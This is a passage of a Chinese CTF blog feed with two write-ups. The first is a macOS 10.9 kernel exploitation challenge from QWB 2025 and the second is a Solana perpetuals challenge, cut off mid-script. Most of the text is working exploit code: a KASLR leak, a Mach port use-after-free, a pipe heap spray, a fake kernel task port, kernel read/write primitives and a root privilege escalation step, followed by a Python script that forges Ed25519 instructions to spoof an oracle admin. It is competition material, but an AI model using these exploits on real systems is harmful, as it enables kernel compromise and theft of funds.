    SUCCESS(&#34;kernel base: 0x%llx&#34;, (ull)(KERNEL_BASE) + slide);
    return KERN_SUCCESS;
}</code></pre><p>需要改下启动参数关掉kaslr拿下原来的基址之外都非常简单。</p><blockquote>💡 </blockquote><blockquote>后面出题人给我的思路是用clock泄露，参考：</blockquote><blockquote><a href="https://xia0.sh/blog/voucher-port-and-message-exploit-cve-2019-6225-on-macos#kaslr" rel="nofollow noreferrer" target="_blank">Voucher, Port and Message: Exploit CVE-2019-6225 on macOS | xia0o0o0o</a></blockquote><blockquote>this routine simply swaps two vouchers. Let’s take a look at the following codes.</blockquote><p>于是这一步也解决了。</p><blockquote>💡 </blockquote><blockquote>这里只是第一步的kaslr，在内核地址返回用户态的过程中还进行了一次加密：</blockquote><pre><code class="language-c" data-language="c">__int64 __fastcall buf_kernel_addrperm_addr(__int64 a1)
{
  if ( a1 )
    return buf_kernel_addrperm + a1;
  else
    return 0;
}
</code></pre><blockquote>这里的buf_kernel_addrperm是在启动初期生成的key：</blockquote><pre><code class="language-c" data-language="c">/*
	 * Initialize the global used for permuting kernel
	 * addresses that may be exported to userland as tokens
	 * using VM_KERNEL_ADDRPERM(). Force the random number
	 * to be odd to avoid mapping a non-zero
	 * word-aligned address to zero via addition.
	 */
	vm_kernel_addrperm = (vm_offset_t)early_random() | 1;
	buf_kernel_addrperm = (vm_offset_t)early_random() | 1;</code></pre><blockquote>大概是生成一个32bit的随机数并且地位强制转换为1（这样可以避免对齐）</blockquote><blockquote>不过因为我们已经leak了slide所以这里非常简单</blockquote><blockquote>找一个已知的→比如REAL_HOST，拿到它的kobject 地址，和kernel文件里的比一比，再减去slide，就是实际的addrperm了。实现如下（码丑勿喷</blockquote><pre><code class="language-c" data-language="c">mach_port_t clk = MACH_PORT_NULL;
KR(host_get_clock_service(mach_host_self(), CALENDAR_CLOCK, &amp;clk));
mach_vm_address_t clk_addr = 0,host_self_addr = 0;
natural_t type = 0;
KR(mach_port_kobject(mach_task_self(), mach_host_self(), &amp;type, &amp;host_self_addr));  // addr = REAL_HOST + slide + addrpem
SUCCESS(&#34;realhost kobject addr: 0x%llx&#34;, (ull)host_self_addr);
addrpem = host_self_addr - REAL_HOST - slide;
KR(mach_port_kobject(mach_task_self(), clk, &amp;type, &amp;clk_addr)); // clk_addr = CLOCK_LIST_PORT + slide + addrpem + id * ? // id = 1
SUCCESS(&#34;clock port kobject addr: 0x%llx&#34;, (ull)clk_addr);
    
SUCCESS(&#34;calculated addrpem: 0x%llx&#34;, (ull)addrpem);
SUCCESS(&#34;calculated clock port offset (should be small): 0x%llx&#34;, (ull)(clk_addr - CLOCK_LIST_PORT - slide - addrpem));</code></pre><h3 id="mou-kuai-qu-yu-nei-cun-xie-ru-dui-feng-shui-tfp0">某块区域内存写入→ 堆风水 → tfp0</h3><figure><img src="https://cdn.nvme0n1p.dev/2026/07/92af2560802d1397c0a0c71da9556d61.webp" alt="来自出题人的提示1" width="279" height="160" /><figcaption>来自出题人的提示1</figcaption></figure><figure><img src="https://cdn.nvme0n1p.dev/2026/07/3191df8f777ffac9623443621d699f81.webp" alt="来自出题人的提示2" width="273" height="84" /><figcaption>来自出题人的提示2</figcaption></figure><p>好了这里给了两个提示，第一个对应我们说的IOSurface写入过程，第二个给我们提供了新条件。</p><p>同样经过一番搜索可以搜到360的技术博客</p><p><a href="https://web.archive.org/web/20221205213755/https://blogs.360.net/post/IPC%20Voucher%20UaF%20Remote%20Jailbreak%20Stage%202.html" rel="nofollow noreferrer" target="_blank">IPC Voucher UaF Remote Jailbreak Stage 2</a></p><p>分享奇虎360公司的技术，与安全的互联网共同成长。</p><blockquote>在iOS的内核里, 不同的内核对象隔离在不同的zone, 这意味着即使ipc voucher对象释放了,这个对象不是真正的释放,只是放到对应的zone的free list,我们也只可能重新分配一个ipc voucher去填充.但是一般的UaF的漏洞我们都是需要转换成Type Confusion去利用,也就是我们需要分配一个不同的内核对象去填充这个释放的ipc voucher内存区域,在这里我们需要手动触发内核的zone gc, 把对应的page释放掉.</blockquote><p>这里也是一样的，我们需要申请至少一个page的mach port，取其中一个来作为我们的fake port，其他的都删除，<strong>并且要把page释放掉</strong>。 有意思的一点是，在10.9 并没有禁用<code>mach_zone_force_gc</code> ，这很方便。</p><p>第一步流程是，申请很多个machport，然后选一个进行uaf，剩下的destroy掉，然后gc。</p><p>直接给代码，没什么好讲的</p><pre><code class="language-c" data-language="c">
static kern_return_t make_port_uaf(mach_port_t port) {
    INFO(&#34;making port uaf...&#34;);
    exception_mask_t mask = EXC_MASK_BAD_ACCESS;
    KR(task_set_exception_ports(mach_task_self(), mask, port,
                                  EXCEPTION_DEFAULT, THREAD_STATE_NONE)); // set =&gt; send right +1 =&gt; 2 =&gt; io_ref - 1 = 1

    kern_return_t kr = detect_port(port);
    int times = 0;
    while(kr == KERN_SUCCESS) {
        KR(task_set_exception_ports(mach_task_self(), mask, port,
                                  EXCEPTION_DEFAULT, THREAD_STATE_NONE)); // set again =&gt; (n) send right keep =&gt; 2 , io_ref -1 =&gt; 0
        times++;
        INFO(&#34;uaf attempt %d&#34;, times);
        kr = detect_port(port); // should succeed
    }
    INFO(&#34;kr=%s&#34;, mach_error_string(kr));
    INFO(&#34;port is uafed after %d attempts&#34;, times);
    return KERN_SUCCESS;
error:
    return KERN_FAILURE;
}
static mach_port_t make_port(void) {
    mach_port_t p = MACH_PORT_NULL;
    KR(mach_port_allocate(mach_task_self(), MACH_PORT_RIGHT_RECEIVE, &amp;p));
    KR(mach_port_insert_right(mach_task_self(), p, p, MACH_MSG_TYPE_MAKE_SEND));
    return p;
error:
    return MACH_PORT_NULL;
}


static kern_return_t make_victim(void) {
    INFO(&#34;make victim ports...&#34;);
    for(int i=0;i&lt;NUM_BEFORE;i++) {
        before_port[i] = make_port();
        EQ(before_port[i], MACH_PORT_NULL);
    }
    victim_port = make_port();
    EQ(victim_port, MACH_PORT_NULL);
    for(int i=0;i&lt;NUM_AFTER;i++) {
        after_port[i] = make_port();
        EQ(after_port[i], MACH_PORT_NULL);
    }
    return KERN_SUCCESS;
error:
    return KERN_FAILURE;
} 
static kern_return_t gc(void) {
    INFO(&#34;Free ports&#34;);
    for(int i=0;i&lt;NUM_BEFORE;i++) {
        RELEASE_PORT(before_port[i]);
    }
    for(int i=0;i&lt;NUM_AFTER;i++) {
        RELEASE_PORT(after_port[i]);
    }
#if __MAC_OS_X_VERSION_MIN_REQUIRED &lt;= 1090
    INFO(&#34;triggering garbage collection...&#34;);
    KR(mach_zone_force_gc(mach_host_self()));
#else
    INFO(&#34;skipping garbage collection (not supported on this OS version)...&#34;);
#endif
    return KERN_SUCCESS;
error:
    return KERN_FAILURE;
}
</code></pre><p>接下来是写入：</p><p>换一篇博客</p><p><a href="https://googleprojectzero.blogspot.com/2019/01/voucherswap-exploiting-mig-reference.html" rel="nofollow noreferrer" target="_blank">voucher_swap: Exploiting MIG reference counting in iOS 12</a></p><p>Posted by Brandon Azad, Project Zero     In this post I&#39;ll describe how I discovered and exploited CVE-2019-6225 , a MIG reference counting...</p><p>看眼xnu代码可以知道，创建了pipe之后，在尝试读取或者写入时，会创建和写入一样大的一片buffer区域，用的kalloc。那么如果</p><p>于是可以看看第二篇文章的写法</p><p><a href="https://highaltitudehacks.com/2020/06/01/from-zero-to-tfp0-part-2-a-walkthrough-of-the-voucher-swap-exploit.html" rel="nofollow noreferrer" target="_blank">From zero to tfp0 - Part 2: A Walkthrough of the voucher_swap exploit</a></p><p>In this article, we will get an in-depth look at the voucher_swap vulnerability and all the steps leading up to getting the kernel task port.</p><p>直接去voucher_swap里抄代码就好了。</p><p>需要注意的是他们用的是kalloc.16384这块，我们需要改成kalloc.4096，大概流程：</p><pre><code class="language-c" data-language="c">
    pipe_buffer_size = 4096; // make it to kalloc.4096
    size_t pipe_count = 16 * MB / pipe_buffer_size;
    increase_file_limit();
    int *pipefds_array = create_pipes(&amp;pipe_count);
    INFO(&#34;created %zu pipes&#34;, pipe_count);
    pipe_buffer = calloc(1, pipe_buffer_size);
    EQ(pipe_buffer, NULL);
    bzero(pipe_buffer, pipe_buffer_size);
    size_t pipes_filled = pipe_spray(pipefds_array, pipe_count, pipe_buffer, pipe_buffer_size, NULL );
    INFO(&#34;filled %zu pipes&#34;, pipes_filled);</code></pre><p>然后做检测：</p><pre><code class="language-c" data-language="c">KR(mach_port_set_context(mach_task_self(), victim, 0x41414141));
INFO(&#34;try locate which page&#34;);
    int pipe_idx = -1;
    int context_location = -1;
    for(size_t i=0;i&lt;pipes_filled;i++) {
        ssize_t n = read(pipefds_array[2*i], pipe_buffer, pipe_buffer_size);
        if(n &lt; 0) {
            ERROR(&#34;read pipe %zu failed&#34;, i);
            continue;
        }
        uint32_t *p = (uint32_t *)pipe_buffer;
        for(size_t j=0;j&lt;(pipe_buffer_size/4);j++) {
            if(p[j] == 0x41414141) {
                SUCCESS(&#34;found in pipe %zu at offset 0x%zx&#34;, i, j*4);
                pipe_idx = (int)i;
                context_location = (int)(j*4);
                break;
            }
        }
        if(pipe_idx != -1) break;
    }
    EQ(pipe_idx, -1);
    EQ(context_location, -1);
    INFO(&#34;found victim port in pipe %d at offset 0x%x&#34;, pipe_idx, context_location);</code></pre><p>这里做完如果找到了，我们就获得了一个完全可控的port，同时也可以找到offset context，然后倒推出port开始地址的offset。</p><p>需要注意，pipe是写入后才能读取的，所以构建一套machport写快捷操作：</p><pre><code class="language-c" data-language="c">void read_prim() {
    INFO(&#34;reading mach port...&#34;);
    ssize_t n = read(rpipe, pipe_buffer, pipe_buffer_size);
    EQ(n, -1);
    INFO(&#34;read success&#34;);
    return;
error:
    ERROR(&#34;read failed in read_mach_port&#34;);
    return;
}
void write_prim() {
    ssize_t n = write(wpipe, pipe_buffer, pipe_buffer_size);
    EQ(n, -1);
    INFO(&#34;write success&#34;);
    return;
error:
    ERROR(&#34;write failed in write_mach_port&#34;);
    return;
}
void edit_mach_port(size_t offset, void(^update)(kport_t *fakeport)) {
    read_prim();
    kport_t *port = (kport_t *)((uint8_t *)pipe_buffer + offset);
    if(update!=NULL) {
        update(port);
    }
    write_prim();
    return;
}
void read_mach_port(size_t offset, kport_t *outport) {
    read_prim();
    kport_t *port = (kport_t *)((uint8_t *)pipe_buffer + offset);
    if(outport != NULL) {
        memcpy(outport, port, sizeof(kport_t));
    }
    write_prim();
    return;
}
void edit_proc_task(size_t offset, void(^update)(ktask_t *task)) {
    read_prim();
    kport_t *port = (kport_t *)((uint8_t *)pipe_buffer + offset);
    if(update!=NULL) {
        update(port);
    }
    write_prim();
    return;
}</code></pre><p>现在先来拿一下port地址，可以用mach_port_request_notification，把某个port注册到我们port的结构体上。然后由于我们port是可以直接获取内容的，这里就可以把addr拿到了。</p><pre><code class="language-c" data-language="c">KR(mach_port_request_notification(mach_task_self(), victim, MACH_NOTIFY_PORT_DESTROYED, 0, victim, MACH_MSG_TYPE_MAKE_SEND_ONCE, &amp;notify));
read_mach_port(offset, &amp;readback);
uint64_t victim_addr = readback.ip_pdrequest;</code></pre><p>下面我们把这个pipe扩展到任意读。貌似做法挺多的，可以用pid_for_task读，也可以用其他方法。</p><p><a href="https://blog.siguza.net/v0rtex/" rel="nofollow noreferrer" target="_blank">v0rtex</a></p><p>Siguza’s Blog</p><p>这里我们参考v0rtex的实现方式，在<code>mach_port_get_attributes</code>使用<code>MACH_PORT_DNREQUESTS_SIZE</code>时，会读取<code>ipc_port-&gt;ip_request-&gt;name.size</code> 。由于默认的request结构体已知，我们可以把ip_request指向我们可控的context，然后解引用时会解到context指向的地址，于是有了</p><pre><code class="language-c" data-language="c">typedef volatile struct {
    union {
        uint64_t port;
        uint64_t index;
    } notify;
    union {
        uint64_t name;
        uint64_t size;
    } name;
} kport_request_t;
kport_request_t kreq = {
        .notify =
        {
            .port = 0,
        }
    };
    edit_mach_port(offset, ^(kport_t *fakeport){
        fakeport-&gt;ip_bits = IO_BITS_ACTIVE | IKOT_TASK;
        fakeport-&gt;ip_references = 0x100;
        fakeport-&gt;ip_messages.qlimit = MACH_PORT_QLIMIT_KERNEL;
        fakeport-&gt;ip_messages.msgcount = 0;
        fakeport-&gt;ip_srights = 0x10;
        fakeport-&gt;ip_context = 0;
        fakeport-&gt;ip_requests = victim_addr + offsetof(kport_t, ip_context) 
                                            - offsetof(kport_request_t, name.size); 
    });
    
#define KREAD(addr, out, size)                                                                                                              \
do {                                                                                                                                        \
    for(size_t i=0;i&lt;((size) + sizeof(uint32_t) - 1) / sizeof(uint32_t); i++) {                                                             \
        KR(mach_port_set_context(mach_task_self(), victim, addr + i * sizeof(uint32_t)));                                                   \
        mach_msg_type_number_t outsz = 1;                                                                                                   \
        KR(mach_port_get_attributes(mach_task_self(), victim, MACH_PORT_DNREQUESTS_SIZE, (mach_port_info_t)((uint32_t*)(out)+i), &amp;outsz));  \
    }                                                                                                                                       \
} while(0)</code></pre><p>获得到了任意读，可控machport。下一步我们需要找的是kernel_task。这里也可以直接走内核符号拿，但是我写了一个不走符号的做法，先读取当前task的地址，然后链表往前走可以枚举所有proc。</p><pre><code class="language-c" data-language="c">uint64_t struct_task = 0; // task kobject.
    natural_t type = 0;
    mach_port_kobject(mach_task_self(), mach_task_self(), &amp;type, &amp;struct_task); 
    uint64_t self_proc = 0;
    struct_task -= addrpem;
    SUCCESS(&#34;self task kobject addr: 0x%llx&#34;, (ull)struct_task);
    self_proc = struct_task;
    uint64_t kernel_vm_map = 0;
    EQ(struct_task, 0);
    while (struct_task != 0) {
        uint64_t bsd_info;
        KREAD(struct_task + BSD_INFO_OFFSET, &amp;bsd_info, sizeof(bsd_info));
        EQ(bsd_info, 0);
        SUCCESS(&#34;found next bsd_info: 0x%llx&#34;, (ull)bsd_info);
        uint32_t pid;
        KREAD(bsd_info + PROC_PID_OFFSET, &amp;pid, sizeof(pid));
        SUCCESS(&#34;found pid: %u&#34;, pid);
        if (pid == 0) {
            uint64_t vm_map;
            KREAD(struct_task + VM_MAP_OFFSET, &amp;vm_map, sizeof(vm_map));
            EQ(vm_map, 0);
            SUCCESS(&#34;found kernel_vm_map: 0x%llx&#34;, (ull)vm_map);
            kernel_vm_map = vm_map;
            break;
        }
        KREAD(struct_task + TASK_PREV_STRUCT, &amp;struct_task, sizeof(struct_task));
    }</code></pre><p>本来想了好久应该怎么构造fakeport。但是后面看到思路说直接memcpy就好了，那为什么不呢</p><pre><code class="language-c" data-language="c">void *kernel_task_port_dump = malloc(0x100);
    void *kernel_task_dump = malloc(0x200);
    uint64_t kernel_task_addr = 0;
    KREAD(KERNEL_TASK + slide, &amp;kernel_task_addr, sizeof(kernel_task_addr));
    SUCCESS(&#34;kernel_task_addr: 0x%llx&#34;, (ull)kernel_task_addr);
    
    uint64_t kernel_itk_self = 0;
    KREAD(kernel_task_addr + ITK_SELF, &amp;kernel_itk_self, sizeof(kernel_itk_self));
    SUCCESS(&#34;kernel_itk_self: 0x%llx&#34;, (ull)kernel_itk_self);
    
    uint64_t fake_task_offset = 0;
    if(offset &gt; 0x500) { // if task port is in later of buffer, we create task at front
        fake_task_offset = 0;
    } else {
        fake_task_offset = pipe_buffer_size - 0x200; // else create at end of buffer
    }
    INFO(&#34;fake task offset: 0x%llx&#34;, (ull)fake_task_offset);

    KREAD(kernel_task_addr, kernel_task_dump, 0x200);
    SUCCESS(&#34;dumped kernel task struct&#34;);
    
    
    KREAD(kernel_itk_self, kernel_task_port_dump, 0x100);
    SUCCESS(&#34;dumped kernel task port struct&#34;);</code></pre><pre><code class="language-c" data-language="c">edit_proc_task(fake_task_offset, ^(ktask_t *task) {
        memcpy(task, kernel_task_dump, 0x200);
        task-&gt;map = kernel_vm_map;
    });</code></pre><pre><code class="language-c" data-language="c">edit_mach_port(offset, ^(kport_t *fakeport){
        bzero(fakeport, sizeof(kport_t));
        memcpy(fakeport, kernel_task_port_dump, 0x100);
        fakeport-&gt;ip_kobject = buffer_start_address + fake_task_offset;
    });
    SUCCESS(&#34;faKe tfp0 ready!&#34;);</code></pre><p>才知道c也有这种lambda类型的函数，不得不说还挺好用的。</p><p>接下来就拿到krw了，后面改改cred就行，不写实现了</p><p>可以给更高权限的原语：</p><pre><code class="language-c" data-language="c">static mach_port_t tfpzero;

void init_kernel_memory(mach_port_t tfp0) {
    tfpzero = tfp0;
}

uint64_t kalloc(vm_size_t size) {
    mach_vm_address_t address = 0;
    mach_vm_allocate(tfpzero, (mach_vm_address_t *)&amp;address, size, VM_FLAGS_ANYWHERE);
    return address;
}

void kfree(mach_vm_address_t address, vm_size_t size) {
    mach_vm_deallocate(tfpzero, address, size);
}

size_t kread(uint64_t where, void *p, size_t size) {
    int rv;
    size_t offset = 0;
    while (offset &lt; size) {
        mach_vm_size_t sz, chunk = 2048;
        if (chunk &gt; size - offset) {
            chunk = size - offset;
        }
        rv = mach_vm_read_overwrite(tfpzero, where + offset, chunk, (mach_vm_address_t)p + offset, &amp;sz);
        if (rv || sz == 0) {
            printf(&#34;[-] error on kread(0x%016llx)\n&#34;, where);
            break;
        }
        offset += sz;
    }
    return offset;
}

size_t kwrite(uint64_t where, const void *p, size_t size) {
    int rv;
    size_t offset = 0;
    while (offset &lt; size) {
        size_t chunk = 2048;
        if (chunk &gt; size - offset) {
            chunk = size - offset;
        }
        rv = mach_vm_write(tfpzero, where + offset, (mach_vm_offset_t)p + offset, (int)chunk);
        if (rv) {
            printf(&#34;[-] error on kwrite(0x%016llx)\n&#34;, where);
            break;
        }
        offset += chunk;
    }
    return offset;
}
void wk32(uint64_t where, uint32_t what) {
    uint32_t _what = what;
    kwrite(where, &amp;_what, sizeof(uint32_t));
}


void wk64(uint64_t where, uint64_t what) {
    uint64_t _what = what;
    kwrite(where, &amp;_what, sizeof(uint64_t));
}
uint32_t rk32(uint64_t where) {
    uint32_t out;
    kread(where, &amp;out, sizeof(uint32_t));
    return out;
}

uint64_t rk64(uint64_t where) {
    uint64_t out;
    kread(where, &amp;out, sizeof(uint64_t));
    return out;
}

		init_kernel_memory(victim);
    INFO(&#34;testing kr/w...&#34;);
    
    uint64_t addr = kalloc(8);
    INFO(&#34;allocated kernel memory at 0x%llx&#34;, (ull)addr);
    EQ(addr, 0);
    wk64(addr, 0x4141414141414141);
    uint64_t readb = rk64(addr);
    kfree(addr, 8);
    printf(&#34;[*] read back: 0x%llx\n&#34;, readb);
    NEQ(readb, 0x4141414141414141);
    SUCCESS(&#34;kr/w test passed!&#34;);</code></pre><figure><img src="https://cdn.nvme0n1p.dev/2026/07/b24aa00d987bd594c8f0e047ac6362ab.webp" width="1280" height="796" /></figure><p>于是成功通关。下面是在当前进程的bsdinfo里把ruid改成0，就能直接提权了。</p><p>完整代码：</p><p><a href="https://gist.github.com/lbr77/4f7200e59107a8df8308d24949cc34b4" rel="nofollow noreferrer" target="_blank">qwb 2025 nostalic real wp</a></p><p>qwb 2025 nostalic real wp · GitHub</p>]]></content:encoded>
            <author>me@nvme0n1p.dev (LiBr)</author>
            <category domain="https://nvme0n1p.dev/tags/ctf">CTF</category>
            <category domain="https://nvme0n1p.dev/tags/jiao-cheng">教程</category>
            <category domain="https://nvme0n1p.dev/tags/ti-jie">题解</category>
            <category domain="https://nvme0n1p.dev/cats/ti-jie">题解</category>
            <enclosure length="0" type="image/png" url="https://nvme0n1p.dev/images/og/osx-zero-to-krw.png" />
        </item>
        <item>
            <title><![CDATA[2025强网杯 题解]]></title>
            <link>https://nvme0n1p.dev/posts/2025-qwb-final</link>
            <guid isPermaLink="false">https://nvme0n1p.dev/posts/2025-qwb-final</guid>
            <pubDate>Sun, 23 Nov 2025 03:03:00 GMT</pubDate>
            <description><![CDATA[]]></description>
            <content:encoded><![CDATA[<h3 id="you-ji">游记</h3><p>？好像也没有玩，第一天坐飞机，晚上在火车站旁边吃了顿达美乐（？然后打车去酒店。好烦，坐车晕了</p><p>第二天比赛，坐牢，第三天比赛坐牢，然后晚上飞机回家。</p><h2 id="realworld">Realworld</h2><h4 id="perpetual">perpetual</h4><p>要去找solana-labs/perpetuals的0day。看了眼好像archive了没有维护。</p><p>神秘codex直接给漏洞找出来了，，</p><p> 于是搓脚本调利用，，最后简单背包一下就行。</p><figure><img src="https://cdn.nvme0n1p.dev/2026/07/43b8a61bd51019408b9587fbae5a56ad.webp" width="1912" height="1418" /></figure><pre><code class="language-python" data-language="python">from pwn import *
import json
import struct
import sys
import time
import urllib.request
from solders.pubkey import Pubkey
from solders.keypair import Keypair
from solders.instruction import Instruction, AccountMeta
from solders.system_program import ID as SYS_PROGRAM_ID
from solders.sysvar import INSTRUCTIONS as SYSVAR_INSTRUCTIONS_ID
# import subprocess
# print = lambda *a, **k: None
# p = subprocess.Popen([&#34;orb&#34;, &#34;./challege_server&#34;],stderr=subprocess.PIPE, stdout=subprocess.PIPE)
# time.sleep(1)
context.log_level = &#34;error&#34;

STATIC_PHASE_PARAMS = {
    # 示例（你运行后自己改）：
    0: {&#34;p1&#34;: 1_000_000_000, &#34;e1&#34;: -5,
        &#34;p2&#34;: 1_000_000_000, &#34;e2&#34;: -7,
        &#34;safety&#34;: 0.5, &#34;cap&#34;: 5_000_000,
        &#34;mode&#34;: &#34;m1_to_m2&#34;},
}

ED25519_PROGRAM_ID = Pubkey.from_string(&#34;Ed25519SigVerify111111111111111111111111111&#34;)
SPL_TOKEN_ID = Pubkey.from_string(&#34;TokenkegQfeZyiNwAJbNbGKPFXCWuBvf9Ss623VQ5DA&#34;)
SPL_ASSOCIATED_TOKEN_ID = Pubkey.from_string(&#34;ATokenGPvbdGVxr1b2hvZbsiqW5xWH25efTNsLJA8knL&#34;)

IX_SET_CUSTOM_ORACLE_PRICE = bytes([0xef, 0x2b, 0x41, 0x94, 0xe1, 0x85, 0x6d, 0x9c])
IX_SWAP = bytes([0xf8, 0xc6, 0x9e, 0x91, 0xe1, 0x75, 0x87, 0xc8])

R1_DECIMALS = 9
R2_DECIMALS = 6

class SolanaClient:
    def __init__(self, host, port):
        self.host = host
        self.port = port
        self.r = remote(host, port)

    def close(self):
        self.r.close()

    def reconnect(self):
        self.close()
        self.r = remote(self.host, self.port)
        self.read_banner_key(&#34;Player:&#34;)
        self.read_banner_key(&#34;Admin:&#34;)
        self.read_banner_key(&#34;Mint1:&#34;)
        self.read_banner_key(&#34;Mint2:&#34;)

    def read_banner_key(self, prefix):
        self.r.recvuntil(prefix.encode())
        line = self.r.recvline().strip().decode()
        return Pubkey.from_string(line.strip())

    def send_transaction(self, ixs):
        self.r.recvuntil(b&#34;num instructions:&#34;)
        self.r.sendline(str(len(ixs)).encode())
        for ix in ixs:
            self.send_instruction(ix)

    def send_instruction(self, ix):
        self.r.recvuntil(b&#34;program:&#34;)
        self.r.sendline(str(ix.program_id).encode())

        self.r.recvuntil(b&#34;num accounts:&#34;)
        self.r.sendline(str(len(ix.accounts)).encode())

        for acc in ix.accounts:
            tag = &#34;w&#34; if acc.is_writable else &#34;r&#34;
            if acc.is_signer:
                tag += &#34;s&#34;
            self.r.sendline(f&#34;{tag} {acc.pubkey}&#34;.encode())

        self.r.recvuntil(b&#34;ix len:&#34;)
        self.r.sendline(str(len(ix.data)).encode())
        self.r.send(ix.data)

def get_associated_token_address(owner, mint):
    return Pubkey.find_program_address(
        [bytes(owner), bytes(SPL_TOKEN_ID), bytes(mint)],
        SPL_ASSOCIATED_TOKEN_ID
    )[0]

def serialize_params(custody, price, expo, conf, ema, publish_time):
    return (
        bytes(custody) +
        struct.pack(&#34;&lt;Q&#34;, price) +
        struct.pack(&#34;&lt;i&#34;, expo) +
        struct.pack(&#34;&lt;Q&#34;, conf) +
        struct.pack(&#34;&lt;Q&#34;, ema) +
        struct.pack(&#34;&lt;q&#34;, publish_time)
    )

def forge_ed25519_pair(admin_pubkey: Pubkey, params_bytes: bytes, attacker_keypair: Keypair):
    &#34;&#34;&#34;
    构造两个 Ed25519 指令：
      fake_ix - 给 perpetuals 的漏洞代码使用（读取固定 offset 的 pubkey/msg）
      real_ix - 给 Ed25519 程序真正验证（签名者为攻击者）
    &#34;&#34;&#34;
    msg = params_bytes

    # 转换成真正的 bytes
    sig = bytes(attacker_keypair.sign_message(msg))        # Signature -&gt; bytes
    attacker_pubkey_bytes = bytes(attacker_keypair.pubkey())
    admin_pubkey_bytes = bytes(admin_pubkey)

    # ================
    #   real_ix
    # ================
    # 为真验证准备 offsets
    sig_offset = 16
    pk_offset = sig_offset + len(sig)              # 16 + 64 = 80
    msg_offset = pk_offset + len(attacker_pubkey_bytes)   # 80 + 32 = 112

    real_data = bytearray()

    # header
    real_data.append(1)     # num_signatures
    real_data.append(0)     # padding

    # 描述块（14 bytes）
    real_data.extend(struct.pack(&#34;&lt;H&#34;, sig_offset))       # signature offset
    real_data.extend(struct.pack(&#34;&lt;H&#34;, 0xFFFF))           # signature_instruction_index (self)
    real_data.extend(struct.pack(&#34;&lt;H&#34;, pk_offset))        # pubkey offset
    real_data.extend(struct.pack(&#34;&lt;H&#34;, 0xFFFF))           # pubkey_instruction_index (self)
    real_data.extend(struct.pack(&#34;&lt;H&#34;, msg_offset))       # msg offset
    real_data.extend(struct.pack(&#34;&lt;H&#34;, len(msg)))         # msg length
    real_data.extend(struct.pack(&#34;&lt;H&#34;, 0xFFFF))           # message_instruction_index (self)

    # 拼接真实签名 | attacker_pubkey | msg
    real_data.extend(sig)
    real_data.extend(attacker_pubkey_bytes)
    real_data.extend(msg)

    real_ix = Instruction(ED25519_PROGRAM_ID, bytes(real_data), [])

    # ================
    #   fake_ix
    # ================
    fake_len = msg_offset + len(msg)
    if fake_len &lt; 112 + len(msg):
        fake_len = 112 + len(msg)

    fake_data = bytearray(fake_len)

    fake_data[0] = 1
    fake_data[1] = 0

    # 指向 real_ix（索引=1）
    struct.pack_into(&#34;&lt;H&#34;, fake_data, 2, sig_offset)
    struct.pack_into(&#34;&lt;H&#34;, fake_data, 4, 1)

    struct.pack_into(&#34;&lt;H&#34;, fake_data, 6, pk_offset)
    struct.pack_into(&#34;&lt;H&#34;, fake_data, 8, 1)

    struct.pack_into(&#34;&lt;H&#34;, fake_data, 10, msg_offset)
    struct.pack_into(&#34;&lt;H&#34;, fake_data, 12, len(msg))
    struct.pack_into(&#34;&lt;H&#34;, fake_data, 14, 1)

    # perpetuals 会用固定 slice 取这里的数据
    fake_data[16:48] = admin_pubkey_bytes
    fake_data[112:112 + len(msg)] = msg

    fake_ix = Instruction(ED25519_PROGRAM_ID, bytes(fake_data), [])

    return fake_ix, real_ix

# -------------------------------------------------------------------------
# Custody Limit 计算
# -------------------------------------------------------------------------

def compute_safe_amount_in(
    free_out_tokens,
    dec_in, dec_out,
    price_in, expo_in,
    price_out, expo_out,
    safety
):
    if free_out_tokens &lt;= 0:
        return 0

    free_out_lamports = free_out_tokens * (10 ** dec_out)
    P_in = price_in * (10 ** expo_in)
    P_out = price_out * (10 ** expo_out)
    if P_in &lt;= 0 or P_out &lt;= 0:
        return 0

    scale = 10 ** (dec_in - dec_out)
    max_in = free_out_lamports * (P_out / P_in) * scale
    max_in *= safety

    if max_in &gt; 2**63 - 1:
        max_in = 2**63 - 1
    if max_in &lt; 1:
        return 1
    return int(max_in)

# -------------------------------------------------------------------------
# 主逻辑
# -------------------------------------------------------------------------

def main():

    # host, port = &#34;10.10.10.80&#34;, 1337
    # host, port = &#34;192.168.2.94&#34;, 1337
    host, port = &#34;127.0.0.1&#34;, 1337
    client = SolanaClient(host, port)

    player = client.read_banner_key(&#34;Player:&#34;)
    admin = client.read_banner_key(&#34;Admin:&#34;)
    mint1 = client.read_banner_key(&#34;Mint1:&#34;)
    mint2 = client.read_banner_key(&#34;Mint2:&#34;)

    program_id = Pubkey.from_string(&#34;Bmr31xzZYYVUdoHmAJL1DAp2anaitW8Tw9YfASS94MKJ&#34;)

    perpetuals_pda = Pubkey.find_program_address([b&#34;perpetuals&#34;], program_id)[0]
    transfer_authority_pda = Pubkey.find_program_address([b&#34;transfer_authority&#34;], program_id)[0]
    pool_pda = Pubkey.find_program_address([b&#34;pool&#34;, b&#34;test pool&#34;], program_id)[0]

    custody1_pda = Pubkey.find_program_address([b&#34;custody&#34;, bytes(pool_pda), bytes(mint1)], program_id)[0]
    custody2_pda = Pubkey.find_program_address([b&#34;custody&#34;, bytes(pool_pda), bytes(mint2)], program_id)[0]

    custody1_token = Pubkey.find_program_address([b&#34;custody_token_account&#34;, bytes(pool_pda), bytes(mint1)], program_id)[0]
    custody2_token = Pubkey.find_program_address([b&#34;custody_token_account&#34;, bytes(pool_pda), bytes(mint2)], program_id)[0]

    oracle1_pda = Pubkey.find_program_address([b&#34;oracle_account&#34;, bytes(pool_pda), bytes(mint1)], program_id)[0]
    oracle2_pda = Pubkey.find_program_address([b&#34;oracle_account&#34;, bytes(pool_pda), bytes(mint2)], program_id)[0]

    player_ata1 = get_associated_token_address(player, mint1)
    player_ata2 = get_associated_token_address(player, mint2)
    create_ata_data = bytes([1])  # CreateIdempotent
    def make_create_ata_ix(mint, ata):
        return Instruction(
            SPL_ASSOCIATED_TOKEN_ID,
            create_ata_data,
            [
                AccountMeta(player, True, True),   # funding (signer)
                AccountMeta(ata, False, True),     # ata
                AccountMeta(player, False, False), # owner
                AccountMeta(mint, False, False),   # mint
                AccountMeta(SYS_PROGRAM_ID, False, False),
                AccountMeta(SPL_TOKEN_ID, False, False),
            ]
        )

    client.send_transaction([
        make_create_ata_ix(mint1, player_ata1),
        make_create_ata_ix(mint2, player_ata2)
    ])
    client.reconnect()
    # 生成攻击 key
    attacker_keypair = Keypair()
    ts_base = int(time.time())

    def fresh_ts():
        nonlocal ts_base
        ts_base = max(ts_base + 1, int(time.time()))
        return ts_base

    def set_oracle(custody_pda, oracle_pda, price, expo):
